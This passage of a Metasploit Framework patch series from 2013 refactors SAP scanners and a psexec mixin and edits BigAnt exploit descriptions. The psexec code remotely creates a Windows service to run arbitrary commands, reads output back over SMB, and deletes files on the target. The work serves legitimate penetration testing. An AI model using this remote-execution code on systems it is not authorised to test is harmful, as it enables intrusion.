'tcp', - :port => rport, - :type => 'system.ip.v4', - :data => "IPv4 Address: #{rfcipaddr}" - ) if not rfcipaddr.empty? + # output table + print(@saptbl.to_s) - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.ip.v6', - :data => "IPv6 Address: #{rfcipv6addr}" - ) if not rfcipv6addr.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.instance', - :data => "System ID: #{rfcsysid}" - ) if not rfcsysid.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.rfc.destination', - :data => "RFC Destination: #{rfcdest}" - ) if not rfcdest.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.timezone', - :data => "Timezone: #{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" - ) if not rfctzone.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.charset', - :data => "Character Set: #{rfcchartyp}" - ) if not rfcchartyp.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.daylight_saving_time', - :data => "Daylight Saving Time: #{rfcdayst}" - ) if not rfcdayst.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.machine_id', - :data => "Machine ID: #{rfcmach.gsub(/\s+/, "")}" - ) if not rfcmach.empty? end end \ No newline at end of file diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 7676ad2611..808695293b 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -53,6 +53,27 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end + def extract_field(data, elem) + if data =~ /<#{elem}>([^<]+)<\/#{elem}>/i + return $1 + end + nil + end + + def report_note_sap(type, data, value) + # create note + report_note( + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => 'sap', + :type => type, + :data => data + value + ) if data + # update saptbl for output + @saptbl << [ data, value ] + end + def run_host(ip) client = datastore['CLIENT'] data = '' @@ -86,227 +107,81 @@ class Metasploit4 < Msf::Auxiliary # to do - implement error handlers for each status code, 404, 301, etc. print_error("[SAP] #{ip}:#{rport} - something went wrong!") return + elsif not res + print_error("[SAP] #{ip}:#{rport} - Server did not respond") + return end rescue ::Rex::ConnectionError print_error("[SAP] #{ip}:#{rport} - Unable to connect") return end - print_status("[SAP] #{ip}:#{rport} - got response") - saptbl = Msf::Ui::Console::Table.new( + + print_status("[SAP] #{ip}:#{rport} - Response received") + + # create table for output + @saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, - 'Header' => "[SAP] System Info", + 'Header' => "[SAP] ICF RFC_SYSTEM_INFO", 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 1, 'Columns' =>[ - "Info", + "Key", "Value" ]) + response = res.body - rfcproto = $1 if response =~ /(.*)<\/RFCPROTO>/i - rfcchartyp = $1 if response =~ /(.*)<\/RFCCHARTYP>/i - rfcinttyp = $1 if response =~ /(.*)<\/RFCINTTYP>/i - rfcflotyp = $1 if response =~ /(.*)<\/RFCFLOTYP>/i - rfcdest = $1 if response =~ /(.*)<\/RFCDEST>/i - rfchost = $1 if response =~ /(.*)<\/RFCHOST>/i - rfcsysid = $1 if response =~ /(.*)<\/RFCSYSID>/i - rfcdbhost = $1 if response =~ /(.*)<\/RFCDBHOST>/i - rfcdbsys = $1 if response =~ /(.*)<\/RFCDBSYS>/i - rfcsaprl = $1 if response =~ /(.*)<\/RFCSAPRL>/i - rfcmach = $1 if response =~ /(.*)<\/RFCMACH>/i - rfcopsys = $1 if response =~ /(.*)<\/RFCOPSYS>/i - rfctzone = $1 if response =~ /(.*)<\/RFCTZONE>/i - rfcdayst = $1 if response =~ /(.*)<\/RFCDAYST>/i - rfcipaddr = $1 if response =~ /(.*)<\/RFCIPADDR>/i - rfckernrl = $1 if response =~ /(.*)<\/RFCKERNRL>/i - rfcipv6addr = $1 if response =~ /(.*)<\/RFCIPV6ADDR>/i - saptbl << [ "Release Status of SAP System", rfcsaprl ] - saptbl << [ "RFC Log Version", rfcproto ] - saptbl << [ "Kernel Release", rfckernrl ] - saptbl << [ "Operating System", rfcopsys ] - saptbl << [ "Database Host", rfcdbhost] - saptbl << [ "Central Database System", rfcdbsys ] - if rfcinttyp == 'LIT' - saptbl << [ "Integer Format", "Little Endian" ] - else - saptbl << [ "Integer Format", "Big Endian" ] - end - saptbl << [ "Hostname", rfchost ] - if rfcflotyp == 'IE3' - saptbl << [ "Float Type Format", "IEEE" ] - else - saptbl << [ "Float Type Format", "IBM/370" ] - end - saptbl << [ "IPv4 Address", rfcipaddr ] - saptbl << [ "IPv6 Address", rfcipv6addr ] - saptbl << [ "System ID", rfcsysid ] - saptbl << [ "RFC Destination", rfcdest ] - saptbl << [ "Timezone", "#{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" ] - saptbl << [ "Character Set", rfcchartyp ] - saptbl << [ "Daylight Saving Time", rfcdayst ] - saptbl << [ "Machine ID", rfcmach.gsub(/\s+/, "")] - # output table - print(saptbl.to_s) - # report notes - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.release', - :data => "Release Status of SAP System: #{rfcsaprl}" - ) if not rfcsaprl.empty? + # extract data from response body + rfcproto = extract_field(response, 'rfcproto') + rfcchartyp = extract_field(response, 'rfcchartyp') + rfcinttyp = extract_field(response, 'rfcinttyp') + rfcflotyp = extract_field(response, 'rfcflotyp') + rfcdest = extract_field(response, 'rfcdest') + rfchost = extract_field(response, 'rfchost') + rfcsysid = extract_field(response, 'rfcsysid') + rfcdbhost = extract_field(response, 'rfcdbhost') + rfcdbsys = extract_field(response, 'rfcdbsys') + rfcsaprl = extract_field(response, 'rfcsaprl') + rfcmach = extract_field(response, 'rfcmach') + rfcopsys = extract_field(response, 'rfcopsys') + rfctzone = extract_field(response, 'rfctzone') + rfcdayst = extract_field(response, 'rfcdayst') + rfcipaddr = extract_field(response, 'rfcipaddr') + rfckernrl = extract_field(response, 'rfckernrl') + rfcipv6addr = extract_field(response, 'rfcipv6addr') - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.rfc_log', - :data => "RFC Log Version: #{rfcproto}" - ) if not rfcproto.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'sap.version.kernel', - :data => "Kernel Release: #{rfckernrl}" - ) if not rfckernrl.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :sname => 'sap', - :type => 'system.os', - :data => "Operating System: #{rfcopsys}" - ) if not rfcopsys.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.db.hostname', - :data => "Database Host: #{rfcdbhost}" - ) if not rfcdbhost.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.db_system', - :data => "Central Database System: #{rfcdbsys}" - ) if not rfcdbsys.empty? + # report notes / create saptbl output + report_note_sap('sap.version.release','Release Status of SAP System: ',rfcsaprl) if rfcsaprl + report_note_sap('sap.version.rfc_log','RFC Log Version: ',rfcproto) if rfcproto + report_note_sap('sap.version.kernel','Kernel Release: ',rfckernrl) if rfckernrl + report_note_sap('system.os','Operating System: ',rfcopsys) if rfcopsys + report_note_sap('sap.db.hostname','Database Host: ',rfcdbhost) if rfcdbhost + report_note_sap('sap.db_system','Central Database System: ',rfcdbsys) if rfcdbsys + report_note_sap('system.hostname','Hostname: ',rfchost) if rfchost + report_note_sap('system.ip.v4','IPv4 Address: ',rfcipaddr) if rfcipaddr + report_note_sap('system.ip.v6','IPv6 Address: ',rfcipv6addr) if rfcipv6addr + report_note_sap('sap.instance','System ID: ',rfcsysid) if rfcsysid + report_note_sap('sap.rfc.destination','RFC Destination: ',rfcdest) if rfcdest + report_note_sap('system.timezone','Timezone (diff from UTC in seconds): ',rfctzone.gsub(/\s+/, "")) if rfctzone + report_note_sap('system.charset','Character Set: ',rfcchartyp) if rfcchartyp + report_note_sap('sap.daylight_saving_time','Daylight Saving Time: ',rfcdayst) if rfcdayst + report_note_sap('sap.machine_id','Machine ID: ',rfcmach.gsub(/\s+/,"")) if rfcmach if rfcinttyp == 'LIT' - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.endianness', - :data => "Integer Format: Little Endian" - ) - elsif not rfcinttyp.empty? - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.endianness', - :data => "Integer Format: Big Endian" - ) + report_note_sap('system.endianness','Integer Format: ', 'Little Endian') + elsif rfcinttyp + report_note_sap('system.endianness','Integer Format: ', 'Big Endian') end - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.hostname', - :data => "Hostname: #{rfchost}" - ) if not rfchost.empty? - if rfcflotyp == 'IE3' - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.float_type', - :data => "Float Type Format: IEEE" - ) - elsif not rfcflotyp.empty? - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.float_type', - :data => "Float Type Format: IBM/370" - ) + report_note_sap('system.float_type','Float Type Format: ', 'IEEE') + elsif rfcflotyp + report_note_sap('system.float_type','Float Type Format: ', 'IBM/370') end - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.ip.v4', - :data => "IPv4 Address: #{rfcipaddr}" - ) if not rfcipaddr.empty? + # output table + print(@saptbl.to_s) - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.ip.v6', - :data => "IPv6 Address: #{rfcipv6addr}" - ) if not rfcipv6addr.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.instance', - :data => "System ID: #{rfcsysid}" - ) if not rfcsysid.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.rfc.destination', - :data => "RFC Destination: #{rfcdest}" - ) if not rfcdest.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.timezone', - :data => "Timezone: #{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" - ) if not rfctzone.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'system.charset', - :data => "Character Set: #{rfcchartyp}" - ) if not rfcchartyp.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.daylight_saving_time', - :data => "Daylight Saving Time: #{rfcdayst}" - ) if not rfcdayst.empty? - - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'sap.machine_id', - :data => "Machine ID: #{rfcmach.gsub(/\s+/, "")}" - ) if not rfcmach.empty? end end From f3cf8ad1b9e72a1e63d10d83bc1f5b8ca6e7b3aa Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Tue, 19 Feb 2013 11:13:33 +0100 Subject: [PATCH 129/341] Whitespace EOL --- modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb | 2 +- modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb index 6679e13e44..ad808d5c43 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb @@ -62,7 +62,7 @@ class Metasploit4 < Msf::Auxiliary :host => rhost, :port => rport, :proto => 'tcp', - :sname => 'sap', + :sname => 'sap', :type => type, :data => data + value ) if data diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 808695293b..7bece972d3 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -66,7 +66,7 @@ class Metasploit4 < Msf::Auxiliary :host => rhost, :port => rport, :proto => 'tcp', - :sname => 'sap', + :sname => 'sap', :type => type, :data => data + value ) if data From 358b2f578380ffc011b0661bf0ec43243a2cf52a Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Tue, 19 Feb 2013 11:15:04 +0100 Subject: [PATCH 130/341] Added module credit as this has turned into a rewrite ;) --- modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 7bece972d3..8408a4ae1d 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -40,7 +40,8 @@ class Metasploit4 < Msf::Auxiliary 'Author' => [ 'Agnivesh Sathasivam', - 'nmonkee' + 'nmonkee', + 'ChrisJohnRiley' # module cleanup / streamlining ], 'License' => MSF_LICENSE ) From d49797267e2f068f68a63c51c47370165570070c Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Tue, 19 Feb 2013 11:20:49 +0100 Subject: [PATCH 131/341] Correct SAP Table Name --- modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 8408a4ae1d..1ec8aee729 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -122,7 +122,7 @@ class Metasploit4 < Msf::Auxiliary # create table for output @saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, - 'Header' => "[SAP] ICF RFC_SYSTEM_INFO", + 'Header' => "[SAP] SOAP RFC_SYSTEM_INFO", 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 1, From 4ea6b8892b0d722fb651180e8b62cb950042e6d4 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 19 Feb 2013 10:28:23 -0600 Subject: [PATCH 132/341] Lack of action moved the deadline to Mar15 Because this change was delayed in getting reviewed and landed, moved the SVN deadline out two weeks. --- msfconsole | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/msfconsole b/msfconsole index 8c4c718c9a..27d3cb939f 100755 --- a/msfconsole +++ b/msfconsole @@ -36,7 +36,7 @@ end def print_deprecation_warning $stdout.puts "" - $stdout.puts "[*] Deprecation Note: After 2013-02-28 (February 28, 2013), Metasploit" + $stdout.puts "[*] Deprecation Note: After 2013-03-15 (March 15, 2013), Metasploit" $stdout.puts "[*] source checkouts will NO LONGER update over SVN, but will be using" $stdout.puts "[*] GitHub exclusively. You should either download a new Metasploit" $stdout.puts "[*] installer, or use a git clone of Metasploit Framework before" From 49f00acc1187f38a55fcaa5cd31b081575dc19b3 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 19 Feb 2013 11:24:05 -0600 Subject: [PATCH 133/341] Fix nil deref when dnsdomain is empty --- modules/auxiliary/scanner/smb/psexec_loggedin_users.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb index 7ed1b96f4d..ca6c2f5c2f 100644 --- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb +++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb @@ -164,8 +164,10 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - #{user}") report_user(user.chomp) else - if username = query_session(smbshare, ip, cmd, text, bat) - user = dnsdomain.split(" ")[2].split(".")[0].to_s + "\\" + username.to_s + username = query_session(smbshare, ip, cmd, text, bat) + if username + hostname = (dnsdomain.split(" ")[2] || "").split(".")[0] || "." + user = "#{hostname}\\#{username}" print_good("#{peer} - #{user}") report_user(user.chomp) else @@ -175,7 +177,7 @@ class Metasploit3 < Msf::Auxiliary else print_status("#{peer} - Could not determine logged in users") end - rescue StandardError => check_error + rescue Rex::Proto::SMB::Exceptions::Error => check_error print_error("#{peer} - Error checking reg key. #{check_error.class}. #{check_error}") return check_error end From 9813c815efbe371ca711890ba84b636ca9fa0233 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 19 Feb 2013 11:40:06 -0600 Subject: [PATCH 134/341] Minor changes --- .../exploits/windows/misc/bigant_server_sch_dupf_bof.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb index fd560463cd..f72d6c171d 100644 --- a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb +++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb @@ -14,15 +14,15 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'BigAnt Server SCH And DUPF Buffer Overflow', + 'Name' => 'BigAnt Server 2 SCH And DUPF Buffer Overflow', 'Description' => %q{ - This exploits a stack buffer overflow in the BigAnt Server 2.97 SP7. The + This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The vulnerability is due to the dangerous usage of strcpy while handling errors. This - module uses a combination of SCH and DUPF request to trigger the vulnerability and + module uses a combination of SCH and DUPF request to trigger the vulnerability, and has been tested successfully against version 2.97 SP7 over Windows XP SP3 and Windows 2003 SP2. }, - 'Author' => + 'Author' => [ 'Hamburgers Maccoy', # Vulnerability discovery 'juan vazquez' # Metasploit module From 5108e8ef1ce3c7432eb85c8cc2de4d4fb803dac5 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 19 Feb 2013 11:44:41 -0600 Subject: [PATCH 135/341] Correct tab --- modules/exploits/windows/misc/bigant_server_dupf_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb index bed756cb52..769d2e2252 100644 --- a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003 SP2. }, - 'Author' => + 'Author' => [ 'Hamburgers Maccoy', # Vulnerability discovery 'juan vazquez' # Metasploit module From ede804e6affa6ae24e8c62a22e01430b3e6d6aed Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 19 Feb 2013 12:33:19 -0600 Subject: [PATCH 136/341] Make psexec mixin a bit better * Removes copy-pasted code from psexec_command module and uses the mixin instead * Uses the SMB protocol to delete files rather than psexec'ing to call cmd.exe and del * Replaces several instances of "rescue StandardError" with better exception handling so we don't accidentally swallow things like NoMethodError * Moves file reading and existence checking into the Exploit::SMB mixin --- lib/msf/core/exploit/psexec.rb | 139 ++++------- lib/msf/core/exploit/smb.rb | 66 +++++- modules/auxiliary/admin/smb/psexec_command.rb | 221 ++++-------------- 3 files changed, 149 insertions(+), 277 deletions(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index f63a93f8e1..58e6788695 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -1,11 +1,14 @@ require 'msf/core' +require 'msf/core/exploit/dcerpc' module Msf #### -# This module alows for reuse of the psexec code execution module -# This code was stolen straight out of psexec.rb.Thanks very much for all -# who contributed to that module!! Instead of uploading and runing a binary. +# Allows for reuse of the psexec code execution technique +# +# This code was stolen straight out of the psexec module. Thanks very +# much for all who contributed to that module!! Instead of uploading +# and runing a binary. #### module Exploit::Remote::Psexec @@ -13,34 +16,42 @@ module Exploit::Remote::Psexec include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB - # Retrives output from the executed command + # # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [IP Address] Remote Host to Connect To - # @param file [File name] Path to the output file relative to the smbshare - # Example: '\WINDOWS\Temp\outputfile.txt' - # @return output or nil if fails - def get_output(smbshare, ip, file) + # @param host [String] Remote host to connect to, as an IP address or + # hostname + # @param file [String] Path to the output file relative to the smbshare + # Example: '\WINDOWS\Temp\outputfile.txt' + # @return [String,nil] output or nil on failure + def smb_read_file(smbshare, host, file) begin - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return output - rescue Rex::Proto::SMB::Exceptions::ErrorCode => output_error - print_error("#{peer} - The file #{file} doesn't exist. #{output_error}.") + simple.connect("\\\\#{host}\\#{smbshare}") + file = simple.open(file, 'ro') + contents = file.read + file.close + simple.disconnect("\\\\#{host}\\#{smbshare}") + return contents + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{peer} - Unable to read file #{file}. #{e.class}: #{e}.") return nil end end - # This method executes a single windows command. If you want to - # retrieve the output of your command you'll have to echo it - # to a .txt file and then use the get_output method to retrieve it - # Make sure to use the cleanup_after method when you are done. + # Executes a single windows command. + # + # If you want to retrieve the output of your command you'll have to + # echo it to a .txt file and then use the {#smb_read_file} method to + # retrieve it. Make sure to remove the files manually or use + # {Exploit::FileDropper#register_files_for_cleanup} to have the + # {Exploit::FileDropper#cleanup} and + # {Exploit::FileDropper#on_new_session} handlers do it for you. + # + # @todo Figure out the actual exceptions this needs to deal with + # instead of all the ghetto "rescue ::Exception" madness # @param command [String] Should be a valid windows command - # @return true if everything wen't well + # @return [Boolean] Whether everything went well def psexec(command) simple.connect("\\\\#{datastore['RHOST']}\\IPC$") handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) @@ -49,8 +60,7 @@ module Exploit::Remote::Psexec vprint_status("#{peer} - Bound to #{handle} ...") vprint_status("#{peer} - Obtaining a service manager handle...") scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) + stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) begin response = dcerpc.call(0x0f, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil @@ -66,19 +76,19 @@ module Exploit::Remote::Psexec svc_handle = nil svc_status = nil stubdata = - scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password + scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( command ) + + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password begin vprint_status("#{peer} - Creating the service...") response = dcerpc.call(0x0c, stubdata) @@ -97,8 +107,7 @@ module Exploit::Remote::Psexec end vprint_status("#{peer} - Opening service...") begin - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) + stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) response = dcerpc.call(0x10, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil svc_handle = dcerpc.last_response.stub_data[0,20] @@ -108,8 +117,7 @@ module Exploit::Remote::Psexec return false end vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + NDR.long(0) + NDR.long(0) + stubdata = svc_handle + NDR.long(0) + NDR.long(0) begin response = dcerpc.call(0x13, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil @@ -119,8 +127,7 @@ module Exploit::Remote::Psexec return false end vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle + stubdata = svc_handle begin response = dcerpc.call(0x02, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil @@ -139,52 +146,6 @@ module Exploit::Remote::Psexec return true end - - # This method is called by file_dropper to remove files droped - # By your module - # - # @example - # file_rm('C:\WINDOWS\Temp\output.txt') - # - # @param file [String] Full path to a file on the remote host - # @return [StandardError] only in the event of an error - def file_rm(file) - delete = "%COMSPEC% /C del #{file}" - vprint_status("#{peer} - Deleting #{file}") - psexec(delete) - end - - - # This method stores files in an Instance array - # The files are then deleted from the remote host once - # the cleanup_after method is called - # - # @example - # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") - # @param file [String] Full path to the file on the remote host - def register_file_for_cleanup(*file) - @dropped_files ||= [] - @dropped_files += file - end - - - # This method removes any files that were dropped on the remote system - # and marked with the register_file_for_cleanup method - def cleanup_after - print_status("#{peer} - Removing files dropped by your module/exploit") - if !@dropped_files - return - end - begin - @dropped_files.delete_if do |file| - file_rm(file) - print_good("#{peer} - Deleted #{file}") - end - rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanup_error - print_error("#{peer} - Unable to delte #{file}. #{cleanup_error}") - end - end - end end diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb index 00f17808c1..f249af1ed2 100644 --- a/lib/msf/core/exploit/smb.rb +++ b/lib/msf/core/exploit/smb.rb @@ -18,6 +18,8 @@ module Msf module Exploit::Remote::SMB + require 'msf/core/exploit/psexec' + include Exploit::Remote::Tcp include Exploit::Remote::NTLM::Client @@ -90,6 +92,13 @@ module Exploit::Remote::SMB register_autofilter_services(%W{ netbios-ssn microsoft-ds }) end + # Override {Exploit::Remote::Tcp#connect} to setup an SMB connection + # and configure evasion options + # + # Also populates {#simple}. + # + # @param (see Exploit::Remote::Tcp#connect) + # @return (see Exploit::Remote::Tcp#connect) def connect(global=true) disconnect() if global @@ -132,7 +141,12 @@ module Exploit::Remote::SMB Rex::Text.to_unicode(str) end - # This method establishes a SMB session over the default socket + # Establishes an SMB session over the default socket and connects to + # the IPC$ share. + # + # You should call {#connect} before calling this + # + # @return [void] def smb_login simple.login( datastore['SMBName'], @@ -217,13 +231,55 @@ module Exploit::Remote::SMB end end + # Whether a remote file exists + # + # @param file [String] Path to a file to remove, relative to the + # most-recently connected share + # @raise [Rex::Proto::SMB::Exceptions::ErrorCode] + def smb_file_exist?(file) + begin + fd = simple.open(file, 'ro') + rescue XCEPT::ErrorCode => e + # If attempting to open the file results in a "*_NOT_FOUND" error, + # then we can be sure the file is not there. + # + # Copy-pasted from smb/exceptions.rb to avoid the gymnastics + # required to pull them out of a giant inverted hash + # + # 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND", + # 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND", + # 0xC0000225 => "STATUS_NOT_FOUND", + error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code) + # If the server returns some other error, then there was a + # permissions problem or some other difficulty that we can't + # really account for and hope the caller can deal with it. + raise e unless error_is_not_found + found = !error_is_not_found + else + # There was no exception, so we know the file is openable + fd.close + found = true + end + + found + end + + # Remove remote file + # + # @param file (see #smb_file_exist?) + # @return [void] + def smb_file_rm(file) + fd = smb_open(file, 'ro') + fd.delete + end + # # Fingerprinting methods # - # This method the EnumPrinters() function of the spooler service + # Calls the EnumPrinters() function of the spooler service def smb_enumprinters(flags, name, level, blen) stub = NDR.long(flags) + @@ -632,10 +688,7 @@ module Exploit::Remote::SMB fprint end - # - # Accessors - # - + # @return [Rex::Proto::SMB::SimpleClient] attr_accessor :simple end @@ -785,7 +838,6 @@ module Exploit::Remote::SMBServer c.put(pkt.to_s) end - end diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 1bc21c97c3..15e51b112e 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -4,12 +4,12 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - # Exploit mixins should be called first + include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner - include Msf::Exploit::Remote::DCERPC # Aliases for common classes SIMPLE = Rex::Proto::SMB::SimpleClient @@ -58,213 +58,72 @@ class Metasploit3 < Msf::Auxiliary # This is the main controle method def run_host(ip) text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt" - bat = "%WINDIR%\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat" - smbshare = datastore['SMBSHARE'] + bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat" + @smbshare = datastore['SMBSHARE'] + @ip = ip - #Try and authenticate with given credentials + # Try and authenticate with given credentials if connect begin smb_login - rescue StandardError => autherror + rescue Rex::Proto::SMB::Exceptions::Error => autherror 